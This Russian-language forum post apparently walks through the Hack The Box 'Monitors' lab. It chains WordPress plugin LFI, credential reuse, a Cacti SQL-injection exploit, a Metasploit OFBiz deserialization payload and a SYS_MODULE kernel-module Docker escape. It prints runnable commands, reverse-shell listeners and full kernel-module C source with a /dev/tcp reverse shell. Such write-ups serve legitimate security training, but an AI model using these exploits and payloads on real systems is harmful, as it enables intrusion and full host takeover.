Взлом
Уважаемые гости! При посещении нашего сайта просим вас ознакомиться с разделами форума, прежде чем оставлять ваши объявления и т.п., а также при обращении за помощью просим быть внимательными: на сайте есть как проверенные специалисты, так и непроверенные. Если вы обратились к специалисту, который проверку НЕ проходил, рекомендуем воспользоваться услугой гарант-сервиса. Спасибо, что посетили XakerPlus!

HTB Monitors. Применяем еще один способ побега из Docker

DataSQL

Новый
Пользователь.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ​

Добавляем IP-адрес машины в /etc/hosts:

10.10.10.238 monitors.htb

И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов является базовым этапом в проведении любой кибератаки. Этот процесс позволяет злоумышленнику определить активные службы на целевом хосте, которые готовы принимать соединения. На основании полученных данных выбирается дальнейшая стратегия для получения точки доступа.
Одним из наиболее популярных инструментов для выполнения этой задачи является Nmap. Повысить эффективность его работы можно с использованием предложенного ниже скрипта.
#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1
Процесс проходит в два этапа. Сначала выполняется стандартное быстрое сканирование, а затем — более углублённое, с использованием доступных скриптов (опция -A).
Обнаружены два открытых порта: 22 (SSH) и 80 (веб-сервер Apache версии 2.4.29). На веб-сервере установлена и функционирует система WordPress 5.5.1, исследование которой станет нашим начальным шагом.

ТОЧКА ВХОДА​

Сканирование WordPress​

Тестировать сайты на WordPress проще всего с помощью утилиты WPScan. Она позволяет выявлять уязвимые версии самого WordPress, тем и плагинов, а также собирать имена пользователей и проводить перебор учётных данных. В целом, это всё, что может пригодиться для анализа безопасности! Перед началом сканирования рекомендую зарегистрироваться на официальном сайте WPScan и получить API-токен. С его помощью утилита сможет автоматически проверять найденные страницы на наличие уязвимостей. К тому же, предоставляется удобная ссылка на отчет или уже готовый эксплойт.
Чаще всего уязвимости встречаются в плагинах, поэтому я настроил их сканирование (опция -e ap) в агрессивном режиме (--plugins-detection aggressive), задействуя 128 потоков (опция -t).
wpscan --url http://monitors.htb -e ap --plugins-detection aggressive -t 128 --api-token [token]
Потратив всего несколько минут, мы получаем отчет, в котором напротив обнаруженного в агрессивном режиме плагина указано «1 vulnerability identified». Это означает, что на целевом сайте установлен уязвимый плагин Spritz версии 1.0. Вдобавок предоставляется ссылка на Exploit-DB с подробным описанием уязвимости. Однако, если у вас установлен специализированный дистрибутив, например Kali Linux, то база данных Exploit-DB уже находится на вашем устройстве, и вы можете использовать утилиту searchsploit для поиска информации в ней.
searchsploit 44544

searchsploit -p php/webapps/44544.php
Из описания эксплоита мы видим, что плагин уязвим к LFI — локальному включению файлов.

Уязвимость LFI​

В описании уязвимости находим и инструкцию по эксплуатации. Давай проверим уязвимость, прочитав файл /etc/passwd.

curl http://monitors.htb/wp-content/plug...ntent.filter.php?url=/../../../..//etc/passwd
Поскольку на хосте развернут веб-сервер с работающей CMS, первым шагом стоит попытаться получить учетные данные пользователей. Велика вероятность, что эти данные также подойдут для входа в систему. Если используется WordPress, необходимо обратить внимание на файл настроек подключения к базе данных — wp-config.php.
curl "http://monitors.htb/wp-content/plug.../../../../..//var/www/wordpress/wp-config.php"

Я сразу попробовал использовать этот пароль для авторизации на WordPress в качестве администратора, но это не дало никакого результата. Поскольку у нас есть возможность читать файлы с хоста, попробуем таким способом найти другую точку входа. У меня есть два списка файлов для проверки — отдельно для Windows и Linux. Для фаззинга будем использовать инструмент Burp Intruder.
Мы натыкаемся на файл конфигурации Apache /etc/apache2/sites-enable/000-default.conf, где находим пользователя admin@monitors.htb. Виртуальный хост cacti-admin.monitors.htb сразу добавляем в /etc/hosts, а потом смотрим. Нас встречает форма авторизации.

10.10.10.238 cacti-admin.monitors.htb

ТОЧКА ОПОРЫ​

Авторизоваться получается как пользователь admin с паролем BestAdministrator@2020!, который служил для подключения к базе данных.
Перед нами оказывается система управления контентом под названием Cacti, и сразу бросается в глаза её версия — 1.2.12. Поскольку мы снова имеем дело с готовым программным продуктом, логично вновь воспользоваться поиском готовых эксплойтов с помощью инструмента searchsploit.
searchsploit "Cacti 1.2.12"

searchsploit -p php/webapps/49810.py
Ищем эксплойт, специально предназначенный для этой версии Cacti. Его работа основана на эксплуатации уязвимости SQL-инъекции. После первого запуска выясняется, что в результате он должен предоставить реверс-шелл. Остается только указать адрес своего хоста и порт для обратного подключения.

Справка: реверс-шелл​

Обратный шелл — это подключение, инициированное атакуемой машиной, к которой вы затем подключаетесь для выполнения команд от имени пользователя, запустившего шелл. Чтобы такое соединение стало возможным, на локальной машине необходимо настроить так называемый «слушатель» (listener).
Для удобства в таких сценариях можно воспользоваться утилитой `rlwrap`. Это оболочка для Readline, которая, помимо прочего, обеспечивает сохранение истории вводимых команд. Обычно она доступна в репозиториях вашего дистрибутива.
Команда для установки:
apt install rlwrap
Для роли самого слушателя часто используют популярную утилиту `netcat` (nc). Команду можно запустить следующим образом:
rlwrap nc -lvp [port]
Далее можем приступить к выполнению эксплойта. Указываем адрес хоста, учетные данные пользователя, а также данные для обратного соединения (адрес локальной машины и порт). После запуска мы сразу же получим обратное подключение (бекконнект):
python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.126 --lport 4321

ПРОДВИЖЕНИЕ​

Получение флага пользователя​

Итак, мы получили шелл. Найти направления для повышения привилегий нам в очередной раз помогут скрипты PEASS.

Справка: скрипты PEASS​

После получения доступа к системе от имени пользователя, открываются множество возможностей для дальнейшей эксплуатации и повышения привилегий, как на Linux, так и на Windows. В таких ситуациях важно собирать данные о системе и определить потенциальные цели. Для этого можно использовать набор скриптов Privilege Escalation Awesome Scripts SUITE (PEASS), которые автоматически анализируют систему и выявляют возможные уязвимости.
Для начала работы со скриптом необходимо загрузить его на локальный хост, что обеспечит доступ к инструментам анализа и подготовки дальнейших шагов.
wget https://github.com/carlospolop/priv...-scripts-suite/blob/master/linPEAS/linpeas.sh
Поскольку на сервере отсутствуют программы curl и wget, загрузить файл с локального веб-сервера не представляется возможным. В таком случае мы воспользуемся netcat. На сервере создадим слушатель, задав лимит ожидания в пять секунд, и направим весь полученный вывод в файл.
nc -lp 5432 -w 5 > /tmp/linpeas.sh

На локальном хосте подключимся к листенеру и запишем туда наш скрипт.

cat linpeas.sh | nc 10.10.10.238 5432

На выходе получаем огромное количество информации. Изучим ее и отметим важные для нас вещи:

  • Нам доступен runc.
  • Есть запущенный Docker.
  • Есть прослушиваемые только на локальном хосте порты.
  • Нам доступны файлы из домашней директории пользователя.
  • Есть интересный файл cacti-backup.service.
Начнем с последнего пункта и глянем файл /lib/systemd/system/cacti-backup.service.
Отсюда мы узнаем, что от имени пользователя www-data запускается скрипт /home/marcus/.backup/backup.sh.
В скрипте находим учетные данные. А найдя новый пароль, сразу же проверяем его везде. Так мы авторизуемся по SSH от имени пользователя marcus.

Погружение в Docker​

Мы установили, что на машине запущен Docker, а также обнаружили открытые порты для localhost. Первым делом определим назначение порта 8443. Для этого подключимся к нему с использованием netcat. Если ответа не последует, отправим запрос GET по протоколу HTTP. На этот раз мы получаем ответ.
nc 127.0.0.1 8443

GET / HTTP
Кроме этого, стало известно, что сервер функционирует по протоколу HTTPS. Давай настроим пересылку данных через SSH, организовав туннель, чтобы направить трафик с локального порта 8443 на порт 8443 сервера. Затем подключимся к удалённому сервису по адресу https://127.0.0.1:8443/ с использованием браузера.
ssh -L 8443:127.0.0.1:8443 marcus@10.10.10.238
Мы сталкиваемся с ошибкой 404, но это для нас не преграда. Начнем сканировать файлы и директории, используя список common.txt из популярного набора Seclists. Для выполнения перебора будем применять инструмент Burp Intruder.
В результате анализа появляются множество страниц, которые отвечают редиректом. Открыв одну из них, мы обнаруживаем форму авторизации, связанную с Apache OFBiz.
Apache OFBiz представляет собой фреймворк, который поддерживает унифицированную модель данных для широкого спектра бизнес-процессов. Все приложения основываются на единой архитектуре и используют общие компоненты для работы с данными, бизнес-логикой и процессами. Поскольку нам удалось выявить новую технологию, следующим шагом будет проверка её на возможные уязвимости.
В ходе анализа находим уязвимость с идентификатором CVE-2020-9496. Ее суть заключается в том, что неавторизованный пользователь способен отправить вредоносный HTTP-запрос с созданной вредоносной XML-нагрузкой в теле запроса. Это становится возможным из-за использования уязвимых версий библиотек Apache Commons BeanUtils и Apache ROME.
Эксплуатация данной уязвимости может привести к удаленному выполнению кода (RCE) с правами пользователя, который запустил приложение. Проверив данный идентификатор, находим готовый эксплоит, уже реализованный в Metasploit Framework, что значительно упрощает процесс его применения.
search CVE-2020-9496
Выбираем данный модуль в Metasploit Framework, затем заполняем значение параметров: адрес хоста и порт, а также тип нагрузки. В качестве нагрузки я выбрал стабильный Meterpreter для Linux x64.

msfconsole

use exploit/linux/http/apache_ofbiz_deserialization

set RHOSTS 127.0.0.1

set RPORT 8443

set payload linux/x64/meterpreter/reverse_tcp

set LHOST tun0

set LPORT 6543

set forceexploit true

run
Таким образом мы проникаем в Docker и работаем в контексте пользователя root.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ​

Мы имеем root-доступ, но находимся внутри Docker-контейнера. Конечно, можно снова использовать скрипт вроде LinPEAS для разведки, но в данном случае гораздо эффективнее подойдет Deepce. Этот инструмент специально предназначен для анализа Docker-среды: он помогает искать возможности повышения привилегий, выявлять пути для побега из контейнера и даже проверяет наличие уязвимостей, включая готовые эксплойты. Скачиваем его с помощью Metasploit, предоставляем права на выполнение и запускаем для дальнейших действий.

upload ~/tmp/deepce.sh /tmp

shell

chmod +x /tmp/deepce.sh

/tmp/deepce.sh
В данном случае мы видим использование привилегии SYS_MODULE. Иногда для корректной работы приложения, запущенного в контейнере Docker, требуется выполнение привилегированных операций. Чтобы удовлетворить такие требования, Docker позволяет пользователю добавлять контейнеру дополнительные привилегии, такие как SYS_MODULE. Благодаря этому приложения, исполняемые обычным пользователем, получают возможность выполнять привилегированные операции без необходимости предоставления полномочий суперпользователя.
Привилегия SYS_MODULE, в данном контексте, предоставляет контейнеру возможность управлять модулями ядра хостовой системы — загружать и выгружать их. Это может быть использовано для выполнения эксплойта, например, путём интеграции реверс-оболочки с адресом хостовой системы.
#include <linux/kmod.h>

#include <linux/module.h>

MODULE_LICENSE("");

MODULE_AUTHOR("");

MODULE_DESCRIPTION("");

MODULE_VERSION("");

char* argv[] = {

"/bin/bash",

"-c",

"bash -i >& /dev/tcp/172.17.0.1/8765 0>&1",

NULL

};

static char* envp[] = {

"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",

NULL

};

static int __init reverse_shell_init(void) {

return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

}

static void __exit reverse_shell_exit(void) {

printk(KERN_INFO "Exiting\n");

}

module_init(reverse_shell_init);

module_exit(reverse_shell_exit);

Функция call_usermodehelper используется для создания процессов пользовательского режима из пространства ядра и принимает три аргумента: argv, envp и UMH_WAIT_EXEC. UMH_WAIT_EXEC заставляет модуль ядра ждать, пока загрузчик выполнит программу. Ниже привожу Makefile.

obj-m +=exploit.o

all:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:

make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Закидываем и exploit.c, и Makefile в Docker, а затем собираем командой make.
Теперь в сессии SSH от имени пользователя markus запускаем листенер:

nc -lvp 8765

Теперь загружаем модуль ядра в докере и ловим бэкконнект.

insmod exploit.ko
Поздравляю, мы только что захватили машину и имеем над ней полный контроль.
 


Сверху